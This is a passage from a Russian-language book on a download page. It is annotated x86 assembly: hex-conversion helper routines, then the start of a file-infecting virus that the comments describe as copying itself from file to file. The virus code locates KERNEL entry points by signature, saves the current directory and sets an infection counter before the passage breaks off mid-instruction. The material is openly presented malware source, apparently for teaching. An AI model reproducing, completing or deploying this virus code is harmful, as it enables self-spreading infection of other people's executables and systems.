Скачать книгу

al,ah

      ;Проверим, надо ли корректировать младший полубайт,

      ;если да – корректируем

      cmp ah, 39h

      ja @@4

      ;Проверим, надо ли корректировать старший полубайт,

      ;если да – корректируем

      @@1:

      cmp al,39h

      ja @@3

      ;Сохраним значение по адресу ES:EDI

      @@2:

      stosw

      ret

      ;Корректируем значение старшего полубайта

      @@3:

      sub al, 30h

      add al, ”A”–10

      jmp @@2

      ;Корректируем значение младшего полубайта

      @@4:

      sub ah, 30h

      add ah, ”A”–10

      jmp @@1

      HexWrite8 endp

      ;Процедура перевода слова в ASCII−формат для печати.

      ;Значение, находящееся в регистре AX, будет записано

      ;в ASCII−формате по адресу ES:EDI

      HexWrite16 proc

      ;Сохраним младший байт из стека

      push ax

      ;Загрузим старший байт в регистр AL

      xchg al,ah

      ;Переведем старший байт в ASCII−формат

      call HexWrite8

      ;Восстановим младший байт из стека

      pop ax

      ;Переведем младший байт в ASCII−формат

      call HexWrite8

      ret

      HexWrite16 endp

      ;Процедура перевода двойного слова в ASCII−формат для печати.

      ;Значение, находящееся в регистре EAX, будет записано

      ;в ASCII−формате по адресу ES:EDI

      HexWrite32 proc

      ;Сохраним младшее слово из стека

      push eax

      ;Загрузим старшее слово в регистр AX

      shr eax, 16

      ;Переведем старшее слово в ASCII−формат

      call HexWrite16

      ;Восстановим младшее слово из стека

      pop eax

      ;Переведем младшее слово в ASCII−формат

      call HexWrite16

      ret

      HexWrite32 endp

      ;Сделаем процедуру WndProc доступной извне

      public WndProc

      ends

      ;Здесь начинается код вируса. Этот код переписывается из файла

      ;в файл. Все вышеописанное – всего лишь программа−носитель

      vladseg segment para public ”vlad”

      assume cs:vladseg

      vstart:

      ;Вычислим текущий адрес

      call recalc

      recalc:

      pop ebp

      mov eax,ebp

      db 2Dh ;Код команды SUB AX

      subme dd 30000h+(recalc−vstart)

      ;Сохраним адрес в стеке

      push eax

      ;Вычислим стартовый адрес вирусного кода

      sub ebp,offset recalc

      ;Ищем KERNEL. Возьмем вторую известную нам точку KERNEL

      mov eax,[ebp+offset kern2]

      ;Проверим ключ. Если ключа нет, перейдем к точке 1

      cmp dword ptr [eax],5350FC9Ch

      jnz notkern2

      ;KERNEL найден, точка 2

      mov eax,[ebp+offset kern2]

      jmp movit

      ;Точка 2 не подошла, проверим точку 1

      notkern2:

      ;Возьмем адрес первой известной нам точки KERNEL

      mov eax,[ebp+offset kern1]

      ;Проверим ключ, если ключа нет – выходим

      cmp dword ptr [eax],5350FC9Ch

      jnz nopayload

      ;KERNEL найден, точка 1

      mov eax,[ebp+offset kern1]

      ;KERNEL найден, адрес точки входа находится в регистре EAX

      movit:

      ;Сохраним адрес KERNEL

      mov [ebp+offset kern],eax

      cld

      ;Запомним текущую директорию

      lea eax,[ebp+offset orgdir]

      push eax

      push 255

      call GetCurDir

      ;Инициализируем счетчик заражений

      mov byte ptr [ebp+offset countinfect],0

      ;Ищем первый файл

      infectdir:

      lea

Скачать книгу